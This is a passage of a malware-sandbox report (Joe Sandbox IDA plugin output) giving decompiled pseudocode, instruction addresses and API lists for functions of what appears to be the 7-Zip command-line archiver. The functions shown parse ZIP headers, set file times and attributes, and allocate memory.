									if(_t274 != 0) {
										 *((intOrPtr*)( *_t274 + 8))(_t274);
										_t99 = _t350 - 0x14;
										 *_t99 =  *(_t350 - 0x14) & _t289;
										__eflags =  *_t99;
									}
									_t230 =  *_t339;
									_push(1);
									goto L60;
								}
								__eflags =  *(_t350 - 0x14);
								if( *(_t350 - 0x14) != 0) {
									goto L31;
								}
								__eflags =  *(_t350 + 0x14);
								if(__eflags == 0) {
									goto L64;
								}
								goto L31;
							}
						}
						_t241 =  *(_t350 - 0x1c);
						 *(_t350 - 4) = 1;
						__eflags = _t241 - _t287;
						goto L20;
					}
					 *(_t350 - 4) = 1;
					E0043361B(_t350 - 0x1c);
					goto L68;
				}
				 *(_t350 - 4) =  *(_t350 - 4) & 0x00000000;
				E0043CB53(_t350 - 0x80, __eflags);
				_t199 = _t348;
				goto L69;
			}

0x0043c695
0x0043c6a3
0x0043c6a8
0x0043c6ab
0x0043c6ae
0x0043c6b3
0x0043c6bb
0x0043c6bf
0x0043c6c2
0x0043c6c5
0x0043c6cd
0x0043c6d5
0x0043c6d5
0x0043c6db
0x0043caf1
0x0043caf1
0x0043caf8
0x0043cafd
0x0043cb0c
0x0043cb11
0x0043cb1a
0x0043cb1a
0x0043c6e1
0x0043c6e3
0x0043c6ec
0x0043c6f5
0x0043c6ee
0x0043c6ee
0x0043c6ee
0x0043c6fe
0x0043c707
0x0043c70f
0x0043c711
0x0043c714
0x0043c717
0x0043c718
0x0043c718
0x0043c71c
0x0043c727
0x0043c729
0x0043c72b
0x0043c740
0x0043c742
0x0043c745
0x0043c748
0x0043c74b
0x0043c74e
0x0043c754
0x0043c757
0x0043c759
0x0043c75d
0x0043c76a
0x0043c76a
0x0043c75f
0x0043c766
0x0043c766
0x0043c76c
0x0043c76e
0x0043c772
0x0043c775
0x0043c77a
0x0043c77a
0x0043c77d
0x0043c781
0x0043c785
0x0043c78a
0x0043c78d
0x0043c790
0x0043c793
0x00000000
0x00000000
0x0043c79e
0x0043c7a4
0x0043c7aa
0x0043c7b0
0x0043c7b3
0x0043c7b6
0x0043c7b9
0x0043c7bc
0x0043c7c4
0x0043c7c6
0x0043c7c8
0x0043c7e4
0x0043c7e9
0x0043c7ec
0x0043c7f3
0x0043c7f7
0x0043c7fa
0x0043c807
0x0043c7fc
0x0043c7fc
0x0043c7fc
0x0043c80d
0x0043c810
0x0043c81b
0x0043c81d
0x0043c81f
0x0043c9a5
0x0043c9a5
0x0043c9a8
0x0043c9ac
0x0043c9ae
0x0043c9b3
0x0043c9b3
0x0043c9b6
0x0043c9b9
0x0043c9bd
0x0043c9bf
0x0043c9c4
0x0043c9c4
0x0043c9c7
0x0043c9ce
0x0043c9d3
0x00000000
0x0043c825
0x0043c825
0x0043c831
0x0043c835
0x0043c840
0x0043c84d
0x0043c854
0x0043c85b
0x0043c85f
0x0043c8cd
0x0043c8d3
0x0043c8d8
0x0043c8da
0x0043ca41
0x0043ca4d
0x0043ca4f
0x0043ca51
0x0043c996
0x0043c99c
0x0043c9a0
0x00000000
0x0043c9a0
0x0043ca57
0x0043ca5a
0x0043ca5c
0x0043ca61
0x0043ca64
0x0043ca64
0x0043ca64
0x0043ca64
0x0043ca67
0x0043ca69
0x0043ca6b
0x0043ca6f
0x0043ca71
0x0043ca73
0x0043caa3
0x0043caa9
0x0043caad
0x0043cab2
0x0043cab5
0x0043cab9
0x0043cabb
0x0043cac0
0x0043cac0
0x0043cac3
0x0043cac6
0x0043cac9
0x0043cacf
0x0043cad5
0x0043cadb
0x0043cade
0x00000000
0x0043cade
0x0043ca75
0x0043ca7b
0x0043ca7f
0x0043ca84
0x0043ca87
0x0043ca8b
0x0043ca8d
0x0043ca92
0x0043ca92
0x0043ca95
0x0043ca98
0x0043ca9c
0x0043c7d3
0x0043c7d3
0x0043c7dc
0x0043c7dc
0x0043ca18
0x0043ca18
0x0043ca1f
0x0043ca24
0x00000000
0x0043ca24
0x0043c8e6
0x0043c8ea
0x0043c8f3
0x0043c8fc
0x0043c905
0x0043c908
0x0043c914
0x0043c914
0x0043c91d
0x0043c920
0x0043c922
0x0043c925
0x0043c98b
0x0043c990
0x0043c992
0x0043c994
0x0043c9dd
0x0043c9eb
0x0043c9ed
0x0043c9f1
0x0043c9f3
0x0043c9f9
0x0043ca2b
0x0043ca33
0x0043ca37
0x00000000
0x0043ca37
0x0043c9fb
0x0043ca03
0x0043ca07
0x0043ca0f
0x0043ca13
0x00000000
0x0043ca13
0x00000000
0x0043c994
0x0043c92d
0x0043c931
0x0043c936
0x0043c939
0x0043c93d
0x0043c93f
0x0043c944
0x0043c944
0x0043c947
0x0043c94a
0x0043c94e
0x0043c950
0x0043c955
0x0043c955
0x0043c958
0x0043c95f
0x0043c964
0x00000000
0x0043c964
0x0043c90a
0x0043c90e
0x00000000
0x00000000
0x00000000
0x0043c90e
0x0043c86a
0x0043c86b
0x0043c870
0x0043c872
0x0043c875
0x0043c8c5
0x0043c8c7
0x00000000
0x00000000
0x00000000
0x0043c8c7
0x0043c87d
0x0043c882
0x0043c884
0x0043c896
0x0043c896
0x0043c8a2
0x0043c8a4
0x0043c8a6
0x00000000
0x00000000
0x0043c8ac
0x0043c8af
0x0043c8b1
0x0043c8b6
0x0043c8b9
0x0043c8b9
0x0043c8b9
0x0043c8b9
0x0043c8bc
0x0043c8be
0x00000000
0x0043c8be
0x0043c886
0x0043c88a
0x00000000
0x00000000
0x0043c88c
0x0043c890
0x00000000
0x00000000
0x00000000
0x0043c890
0x0043c81f
0x0043c7ca
0x0043c7cd
0x0043c7d1
0x00000000
0x0043c7d1
0x0043cae8
0x0043caec
0x00000000
0x0043caec
0x0043c72d
0x0043c734
0x0043c739
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0043C695

Part of subcall function 004079F2: __CxxThrowException@8.LIBC ref: 00407A11

Part of subcall function 0043CBF4: __EH_prolog.LIBCMT ref: 0043CBF9

Part of subcall function 0043BA05: __EH_prolog.LIBCMT ref: 0043BA0A
Part of subcall function 0043BA05: SysFreeString.OLEAUT32(?), ref: 0043BDA8
Part of subcall function 0043BA05: SysFreeString.OLEAUT32(?), ref: 0043BE6E
Part of subcall function 0043BA05: SysFreeString.OLEAUT32(?), ref: 0043BE97

Part of subcall function 0043F244: __EH_prolog.LIBCMT ref: 0043F249

Part of subcall function 0043CD47: __EH_prolog.LIBCMT ref: 0043CD4C

Part of subcall function 0043CB53: __EH_prolog.LIBCMT ref: 0043CB58

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00412DB2, Relevance: 1.6, APIs: 1, Instructions: 134

C-Code - Quality: 95%

			E00412DB2(void* __ecx) {
				intOrPtr _t70;
				intOrPtr* _t71;
				void* _t72;
				intOrPtr* _t75;
				intOrPtr* _t76;
				intOrPtr _t79;
				intOrPtr* _t84;
				intOrPtr _t86;
				intOrPtr _t87;
				intOrPtr* _t89;
				intOrPtr* _t101;
				intOrPtr _t103;
				intOrPtr* _t112;
				intOrPtr* _t115;
				intOrPtr* _t118;
				intOrPtr _t120;
				void* _t121;
				intOrPtr _t123;

				E0046B890(E00474574, _t121);
				_push(__ecx);
				 *((intOrPtr*)(_t121 - 0x10)) = _t123;
				 *((intOrPtr*)(_t121 - 4)) = 0;
				if( *((intOrPtr*)(_t121 + 0xc)) < 0 ||  *((intOrPtr*)(_t121 + 0xc)) > 3) {
					_t70 =  *((intOrPtr*)(_t121 + 8));
					_t118 = _t70 + 0x98;
					_t71 =  *((intOrPtr*)(_t70 + 0x98));
					__eflags = _t71;
					if(_t71 != 0) {
						 *((intOrPtr*)( *_t71 + 8))(_t71);
						 *_t118 = 0;
					}
					_t72 = 0x80004005;
					goto L36;
				} else {
					_t120 =  *((intOrPtr*)(_t121 + 8));
					if( *((intOrPtr*)(_t120 + 0xa0)) != 0) {
						_t87 =  *((intOrPtr*)(_t120 + 0x9c));
						 *((intOrPtr*)(_t120 + 0xf0)) =  *((intOrPtr*)(_t120 + 0xf0)) +  !( *(_t87 + 0x18));
						 *((intOrPtr*)(_t120 + 0x88)) =  *((intOrPtr*)(_t87 + 0x10));
						 *((intOrPtr*)(_t120 + 0x8c)) =  *((intOrPtr*)(_t87 + 0x14));
						 *((char*)(_t120 + 0x90)) = 1;
						_t89 =  *((intOrPtr*)(_t120 + 0xa0));
						if(_t89 != 0) {
							 *((intOrPtr*)( *_t89 + 8))(_t89);
							 *((intOrPtr*)(_t120 + 0xa0)) = 0;
						}
					}
					if( *((intOrPtr*)(_t120 + 0x98)) == 0) {
						L24:
						_t115 = _t120 + 0x90;
						if( *((intOrPtr*)(_t120 + 0x90)) != 0) {
							L26:
							 *((intOrPtr*)(_t120 + 0xe8)) =  *((intOrPtr*)(_t120 + 0xe8)) +  *((intOrPtr*)(_t120 + 0x88));
							asm("adc [eax+0x4], edx");
							L27:
							_t75 = _t120 + 0xd8;
							if( *((intOrPtr*)(_t120 + 0x80)) == 0) {
								_t75 = _t120 + 0xe0;
							}
							 *_t75 =  *_t75 + 1;
							asm("adc [eax+0x4], ebx");
							if( *((intOrPtr*)(_t120 + 0x59)) != 0 &&  *((intOrPtr*)(_t120 + 0x7f)) != 0) {
								E00409A29( *((intOrPtr*)(_t120 + 0x38)),  *((intOrPtr*)(_t120 + 0x78))); // executed
							}
							_t76 =  *((intOrPtr*)(_t120 + 0x18));
							_t72 =  *((intOrPtr*)( *_t76 + 0x20))(_t76,  *((intOrPtr*)(_t121 + 0xc)),  *((intOrPtr*)(_t120 + 0x5d)));
							L36:
							 *[fs:0x0] =  *((intOrPtr*)(_t121 - 0xc));
							return _t72;
						}
						E00411FA9(_t120);
						if( *_t115 == 0) {
							goto L27;
						}
						goto L26;
					}
					if( *((intOrPtr*)(_t120 + 0x5c)) == 0 ||  *((intOrPtr*)(_t120 + 0x7e)) == 0) {
						_t79 =  *((intOrPtr*)(_t120 + 0x10));
						__eflags =  *((intOrPtr*)(_t79 + 0x2c));
						if(__eflags == 0) {
							 *((intOrPtr*)(_t121 + 8)) = 0;
							goto L13;
						}
						_t86 = _t79 + 0x24;
						goto L9;
					} else {
						_t86 = _t120 + 0x70;
						L9:
						 *((intOrPtr*)(_t121 + 8)) = _t86;
						L13:
						if( *((intOrPtr*)(_t120 + 0x5b)) == 0 ||  *((intOrPtr*)(_t120 + 0x7d)) == 0) {
							_t112 = 0;
							__eflags = 0;
						} else {
							_t112 = _t120 + 0x68;
						}
						if( *((intOrPtr*)(_t120 + 0x5a)) == 0) {
							L20:
							_t101 = 0;
							__eflags = 0;
							goto L21;
						} else {
							_t135 =  *((intOrPtr*)(_t120 + 0x7c));
							if( *((intOrPtr*)(_t120 + 0x7c)) == 0) {
								goto L20;
							}
							_t101 = _t120 + 0x60;
							L21:
							E0040BD82( *((intOrPtr*)(_t120 + 0x94)) + 8, _t101, _t112,  *((intOrPtr*)(_t121 + 8)));
							_t103 =  *((intOrPtr*)(_t120 + 0x94));
							 *((intOrPtr*)(_t120 + 0x88)) =  *((intOrPtr*)(_t103 + 0x18));
							 *((intOrPtr*)(_t120 + 0x8c)) =  *((intOrPtr*)(_t103 + 0x1c));
							 *((char*)(_t120 + 0x90)) = 1;
							_t72 = E0040D3F3(_t103, _t135);
							if(_t72 != 0) {
								goto L36;
							}
							_t84 =  *((intOrPtr*)(_t120 + 0x98));
							if(_t84 != 0) {
								 *((intOrPtr*)( *_t84 + 8))(_t84);
								 *((intOrPtr*)(_t120 + 0x98)) = 0;
							}
							goto L24;
						}
					}
				}
			}

0x00412db7
0x00412dbc
0x00412dc5
0x00412dc8
0x00412dcb
0x00412f42
0x00412f45
0x00412f4b
0x00412f51
0x00412f53
0x00412f58
0x00412f5b
0x00412f5b
0x00412f5d
0x00000000
0x00412ddb
0x00412ddb
0x00412de4
0x00412de6
0x00412df1
0x00412dfd
0x00412e03
0x00412e09
0x00412e10
0x00412e18
0x00412e1d
0x00412e20
0x00412e20
0x00412e18
0x00412e2c
0x00412ecd
0x00412ed3
0x00412ed9
0x00412ee6
0x00412ef2
0x00412efe
0x00412f01
0x00412f07
0x00412f0d
0x00412f0f
0x00412f0f
0x00412f15
0x00412f18
0x00412f1e
0x00412f2b
0x00412f2b
0x00412f33
0x00412f3d
0x00412f62
0x00412f67
0x00412f70
0x00412f70
0x00412edd
0x00412ee4
0x00000000
0x00000000
0x00000000
0x00412ee4
0x00412e35
0x00412e44
0x00412e47
0x00412e4a
0x00412e51
0x00000000
0x00412e51
0x00412e4c
0x00000000
0x00412e3c
0x00412e3c
0x00412e3f
0x00412e3f
0x00412e54
0x00412e57
0x00412e63
0x00412e63
0x00412e5e
0x00412e5e
0x00412e5e
0x00412e68
0x00412e74
0x00412e74
0x00412e74
0x00000000
0x00412e6a
0x00412e6a
0x00412e6d
0x00000000
0x00000000
0x00412e6f
0x00412e76
0x00412e8a
0x00412e8f
0x00412e94
0x00412e9d
0x00412ea3
0x00412eaa
0x00412eb1
0x00000000
0x00000000
0x00412eb7
0x00412ebf
0x00412ec4
0x00412ec7
0x00412ec7
0x00000000
0x00412ebf
0x00412e68
0x00412e35

APIs

__EH_prolog.LIBCMT ref: 00412DB7

Part of subcall function 0040BD82: SetFileTime.KERNELBASE(?,?,?,?), ref: 0040BD90

Part of subcall function 00409A29: __EH_prolog.LIBCMT ref: 00409A2E
Part of subcall function 00409A29: SetFileAttributesW.KERNELBASE(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00409A72
Part of subcall function 00409A29: SetFileAttributesW.KERNEL32(?,?,00000003,?,?,?,?,00000000), ref: 00409AA7

Part of subcall function 00411FA9: __EH_prolog.LIBCMT ref: 00411FAE

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043F95E, Relevance: 1.6, APIs: 1, Instructions: 124

C-Code - Quality: 91%

			E0043F95E(intOrPtr* __ecx, signed int __edx) {
				void* __edi;
				intOrPtr* _t48;
				signed int _t49;
				signed int _t61;
				signed int _t67;
				void* _t71;
				intOrPtr _t74;
				signed int _t76;
				void* _t85;
				signed int _t93;
				void* _t95;
				intOrPtr* _t96;
				void* _t98;
				intOrPtr* _t99;
				intOrPtr _t101;
				void* _t103;

				_t94 = __edx;
				E0046B890(E00478BCF, _t103);
				_t96 = __ecx;
				E0040862D();
				_t48 =  *__ecx;
				_t99 = __ecx + 0x10;
				_t49 =  *((intOrPtr*)( *_t48 + 0x10))(_t48,  *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t103 + 0x10)), 0, _t99, _t95, _t98, _t71);
				if(_t49 == 0) {
					if( *_t99 !=  *((intOrPtr*)(_t103 + 0xc)) ||  *((intOrPtr*)(_t99 + 4)) !=  *((intOrPtr*)(_t103 + 0x10))) {
						L20:
						_t49 = 1;
					} else {
						_t73 = __ecx + 0x20;
						if(E0040DF95(__ecx + 0x20, 0x8000) != 0) {
							E0040DFE4(_t73,  *__ecx);
							E0040DFF3(_t73);
							_t85 =  *_t99 -  *((intOrPtr*)(_t103 + 0xc));
							 *((char*)(__ecx + 0x18)) = 1;
							asm("sbb eax, [ebp+0x10]");
							__eflags =  *((intOrPtr*)(_t99 + 4)) -  *((intOrPtr*)(_t103 + 0x18));
							if(__eflags > 0) {
								L17:
								_t101 =  *((intOrPtr*)(_t99 + 4));
								asm("sbb esi, [ebp+0x10]");
								__eflags =  *_t99 -  *((intOrPtr*)(_t103 + 0xc)) -  *((intOrPtr*)(_t103 + 0x14));
								if( *_t99 -  *((intOrPtr*)(_t103 + 0xc)) !=  *((intOrPtr*)(_t103 + 0x14))) {
									goto L20;
								} else {
									__eflags = _t101 -  *((intOrPtr*)(_t103 + 0x18));
									if(_t101 !=  *((intOrPtr*)(_t103 + 0x18))) {
										goto L20;
									} else {
										_t49 = 0;
									}
								}
							} else {
								if(__eflags < 0) {
									goto L8;
								} else {
									L7:
									__eflags = _t85 -  *((intOrPtr*)(_t103 + 0x14));
									if(_t85 >=  *((intOrPtr*)(_t103 + 0x14))) {
										goto L17;
									} else {
										while(1) {
											L8:
											__eflags = E0043EF6A(_t96) -  *0x48d84c; // 0x2014b50
											if(__eflags != 0) {
												goto L20;
											}
											E0043F39F(_t103 - 0xa8, __eflags);
											 *(_t103 - 4) =  *(_t103 - 4) & 0x00000000;
											_t61 = E0043F659(_t96, _t94, __eflags, _t103 - 0xa8);
											__eflags = _t61;
											if(__eflags != 0) {
												L16:
												 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
												E0043CD47(_t103 - 0xa8, __eflags);
												_t49 = _t61;
											} else {
												_t74 =  *((intOrPtr*)(_t103 + 8));
												_push(_t103 - 0xa8);
												E0044040C(_t74, _t96);
												__eflags =  *(_t103 + 0x1c);
												if(__eflags == 0) {
													L13:
													 *(_t103 - 4) =  *(_t103 - 4) | 0xffffffff;
													E0043CD47(_t103 - 0xa8, __eflags);
													_t85 =  *_t99 -  *((intOrPtr*)(_t103 + 0xc));
													asm("sbb eax, [ebp+0x10]");
													__eflags =  *((intOrPtr*)(_t99 + 4)) -  *((intOrPtr*)(_t103 + 0x18));
													if(__eflags < 0) {
														continue;
													} else {
														if(__eflags > 0) {
															goto L17;
														} else {
															goto L7;
														}
													}
												} else {
													_t93 =  *(_t74 + 8);
													_t67 = _t93;
													asm("cdq");
													_t94 = _t67 % 0x3e8;
													__eflags = _t67 % 0x3e8;
													if(__eflags != 0) {
														goto L13;
													} else {
														_t76 =  *(_t103 + 0x1c);
														_t94 =  *_t76;
														 *(_t103 - 0x10) = _t94;
														asm("cdq");
														_t61 =  *((intOrPtr*)( *(_t103 - 0x10) + 4))(_t76, _t93, _t94);
														__eflags = _t61;
														if(__eflags != 0) {
															goto L16;
														} else {
															goto L13;
														}
													}
												}
											}
											goto L21;
										}
										goto L20;
									}
								}
							}
						} else {
							_t49 = 0x8007000e;
						}
					}
				}
				L21:
				 *[fs:0x0] =  *((intOrPtr*)(_t103 - 0xc));
				return _t49;
			}

0x0043f95e
0x0043f963
0x0043f971
0x0043f976
0x0043f97b
0x0043f97d
0x0043f98c
0x0043f991
0x0043f99c
0x0043faca
0x0043facc
0x0043f9ae
0x0043f9ae
0x0043f9bf
0x0043f9cf
0x0043f9d6
0x0043f9e0
0x0043f9e3
0x0043f9e7
0x0043f9ea
0x0043f9ed
0x0043fab1
0x0043fab3
0x0043fab9
0x0043fabc
0x0043fabf
0x00000000
0x0043fac1
0x0043fac1
0x0043fac4
0x00000000
0x0043fac6
0x0043fac6
0x0043fac6
0x0043fac4
0x0043f9f3
0x0043f9f3
0x00000000
0x0043f9f5
0x0043f9f5
0x0043f9f5
0x0043f9f8
0x00000000
0x0043f9fe
0x0043f9fe
0x0043f9fe
0x0043fa05
0x0043fa0b
0x00000000
0x00000000
0x0043fa17
0x0043fa1c
0x0043fa29
0x0043fa2e
0x0043fa30
0x0043fa9c
0x0043fa9c
0x0043faa8
0x0043faad
0x0043fa32
0x0043fa32
0x0043fa3b
0x0043fa3e
0x0043fa43
0x0043fa47
0x0043fa72
0x0043fa72
0x0043fa7c
0x0043fa86
0x0043fa89
0x0043fa8c
0x0043fa8f
0x00000000
0x0043fa95
0x0043fa95
0x00000000
0x0043fa97
0x00000000
0x0043fa97
0x0043fa95
0x0043fa49
0x0043fa49
0x0043fa51
0x0043fa53
0x0043fa54
0x0043fa56
0x0043fa58
0x00000000
0x0043fa5a
0x0043fa5a
0x0043fa5f
0x0043fa61
0x0043fa64
0x0043fa6b
0x0043fa6e
0x0043fa70
0x00000000
0x00000000
0x00000000
0x00000000
0x0043fa70
0x0043fa58
0x0043fa47
0x00000000
0x0043fa30
0x00000000
0x0043f9fe
0x0043f9f8
0x0043f9f3
0x0043f9c1
0x0043f9c1
0x0043f9c1
0x0043f9bf
0x0043f99c
0x0043facd
0x0043fad3
0x0043fadb

APIs

__EH_prolog.LIBCMT ref: 0043F963

Part of subcall function 0043F659: __CxxThrowException@8.LIBC ref: 0043F738

Part of subcall function 0043CD47: __EH_prolog.LIBCMT ref: 0043CD4C

Part of subcall function 0044040C: __EH_prolog.LIBCMT ref: 00440411

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0043F244, Relevance: 1.6, APIs: 1, Instructions: 98

C-Code - Quality: 96%

			E0043F244(void* __ecx) {
				void* _t43;
				void* _t50;
				signed char _t53;
				void* _t87;
				intOrPtr _t90;
				void* _t92;
				void* _t94;
				void* _t99;

				E0046B890(E00478B97, _t92);
				_t90 =  *((intOrPtr*)(_t92 + 8));
				 *((intOrPtr*)(_t92 - 0x10)) = _t94 - 0x9c;
				if( *((intOrPtr*)(_t90 + 0x88)) != 0) {
					L16:
					_t43 = 0;
				} else {
					 *((intOrPtr*)(_t92 - 4)) = 0;
					asm("adc ecx, [edi+0x44]");
					_t43 = E0043EB62(__ecx,  *((intOrPtr*)(_t90 + 0x48)) +  *((intOrPtr*)(__ecx + 0x40)),  *((intOrPtr*)(_t90 + 0x4c)));
					_t98 = _t43;
					if(_t43 == 0) {
						E0043F39F(_t92 - 0xa8, _t98);
						 *((char*)(_t92 - 4)) = 1;
						_t99 = E0043EF6A(__ecx) -  *0x48d844; // 0x4034b50
						if(_t99 != 0) {
							L13:
							 *((char*)(_t92 - 4)) = 0;
							E0043CD47(_t92 - 0xa8, __eflags);
							_t43 = 1;
						} else {
							_t50 = E0043F186(__ecx, _t99, _t92 - 0xa8); // executed
							_t87 = _t50;
							_t100 = _t87;
							if(_t87 == 0) {
								__eflags = E0043F419(_t90, _t92 - 0xa8);
								if(__eflags == 0) {
									goto L13;
								} else {
									_t53 =  *(_t92 - 0xa6) >> 3;
									__eflags = _t53 & 0x00000001;
									if((_t53 & 0x00000001) != 0) {
										L12:
										__eflags =  *((intOrPtr*)(_t90 + 0x24)) -  *((intOrPtr*)(_t92 - 0x84));
										if(__eflags == 0) {
											 *((intOrPtr*)(_t90 + 0x90)) =  *((intOrPtr*)(_t92 - 0x18));
											 *((short*)(_t90 + 0x94)) =  *((intOrPtr*)(_t92 - 0x14));
											E0040862D();
											_push(_t92 - 0x7c);
											E0043D104(_t90 + 0x2c);
											 *((char*)(_t90 + 0x88)) = 1;
											 *((char*)(_t92 - 4)) = 0;
											E0043CD47(_t92 - 0xa8, __eflags);
											goto L16;
										} else {
											goto L13;
										}
									} else {
										__eflags =  *((intOrPtr*)(_t90 + 0xc)) -  *((intOrPtr*)(_t92 - 0x9c));
										if(__eflags != 0) {
											goto L13;
										} else {
											__eflags =  *((intOrPtr*)(_t90 + 0x10)) -  *((intOrPtr*)(_t92 - 0x98));
											if(__eflags != 0) {
												goto L13;
											} else {
												__eflags =  *((intOrPtr*)(_t90 + 0x14)) -  *((intOrPtr*)(_t92 - 0x94));
												if(__eflags != 0) {
													goto L13;
												} else {
													__eflags =  *((intOrPtr*)(_t90 + 0x18)) -  *((intOrPtr*)(_t92 - 0x90));
													if(__eflags != 0) {
														goto L13;
													} else {
														__eflags =  *((intOrPtr*)(_t90 + 0x1c)) -  *((intOrPtr*)(_t92 - 0x8c));
														if(__eflags != 0) {
															goto L13;
														} else {
															goto L12;
														}
													}
												}
											}
										}
									}
								}
							} else {
								 *((char*)(_t92 - 4)) = 0;
								E0043CD47(_t92 - 0xa8, _t100);
								_t43 = _t87;
							}
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t92 - 0xc));
				return _t43;
			}

0x0043f249
0x0043f256
0x0043f264
0x0043f267
0x0043f395
0x0043f395
0x0043f26d
0x0043f276
0x0043f279
0x0043f280
0x0043f285
0x0043f287
0x0043f293
0x0043f29a
0x0043f2a3
0x0043f2a9
0x0043f335
0x0043f33b
0x0043f33e
0x0043f345
0x0043f2af
0x0043f2b8
0x0043f2bd
0x0043f2bf
0x0043f2c1
0x0043f2e2
0x0043f2e4
0x00000000
0x0043f2e6
0x0043f2ec
0x0043f2ef
0x0043f2f1
0x0043f32a
0x0043f32d
0x0043f333
0x0043f35d
0x0043f369
0x0043f370
0x0043f37a
0x0043f37b
0x0043f386
0x0043f38d
0x0043f390
0x00000000
0x00000000
0x00000000
0x00000000
0x0043f2f3
0x0043f2f6
0x0043f2fc
0x00000000
0x0043f2fe
0x0043f301
0x0043f307
0x00000000
0x0043f309
0x0043f30c
0x0043f312
0x00000000
0x0043f314
0x0043f317
0x0043f31d
0x00000000
0x0043f31f
0x0043f322
0x0043f328
0x00000000
0x00000000
0x00000000
0x00000000
0x0043f328
0x0043f31d
0x0043f312
0x0043f307
0x0043f2fc
0x0043f2f1
0x0043f2c3
0x0043f2c9
0x0043f2cc
0x0043f2d1
0x0043f2d1
0x0043f2c1
0x0043f2a9
0x0043f287
0x0043f34b
0x0043f354

APIs

__EH_prolog.LIBCMT ref: 0043F249

Part of subcall function 0043CD47: __EH_prolog.LIBCMT ref: 0043CD4C

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046C003, Relevance: 1.6, APIs: 1, Instructions: 80

C-Code - Quality: 24%

			E0046C003(unsigned int _a4) {
				signed int _v8;
				intOrPtr _v20;
				void* _v32;
				intOrPtr _t19;
				void* _t20;
				signed char _t22;
				void* _t23;
				void* _t24;
				void* _t36;
				unsigned int _t44;
				unsigned int _t46;
				intOrPtr _t47;
				void* _t50;

				_push(0xffffffff);
				_push(0x47c848);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t47;
				_t19 =  *0x496584; // 0x1
				if(_t19 != 3) {
					__eflags = _t19 - 2;
					if(_t19 != 2) {
						goto L11;
					} else {
						_t24 = _a4;
						__eflags = _t24;
						if(_t24 == 0) {
							_t44 = 0x10;
						} else {
							_t9 = _t24 + 0xf; // 0xf
							_t44 = _t9 & 0xfffffff0;
						}
						_a4 = _t44;
						__eflags = _t44 -  *0x49015c; // 0x1e0
						if(__eflags > 0) {
							L10:
							_push(_t44);
							goto L14;
						} else {
							E0046E56A(9);
							_pop(_t36);
							_v8 = 1;
							_v32 = E0046F902(_t36, _t44 >> 4);
							_v8 = _v8 | 0xffffffff;
							E0046C0C9();
							_t23 = _v32;
							__eflags = _t23;
							if(_t23 == 0) {
								goto L10;
							}
						}
					}
				} else {
					_t46 = _a4;
					_t50 = _t46 -  *0x49657c; // 0x0
					if(_t50 > 0) {
						L11:
						_t20 = _a4;
						__eflags = _t20;
						if(_t20 == 0) {
							_t20 = 1;
						}
						_t22 = _t20 + 0x0000000f & 0x000000f0;
						__eflags = _t22;
						_push(_t22);
						L14:
						_push(0);
						_t23 = RtlAllocateHeap( *0x496580); // executed
					} else {
						E0046E56A(9);
						_v8 = _v8 & 0x00000000;
						_push(_t46);
						_v32 = E0046EE5F();
						_v8 = _v8 | 0xffffffff;
						E0046C06A();
						_t23 = _v32;
						if(_t23 == 0) {
							goto L11;
						} else {
						}
					}
				}
				 *[fs:0x0] = _v20;
				return _t23;
			}
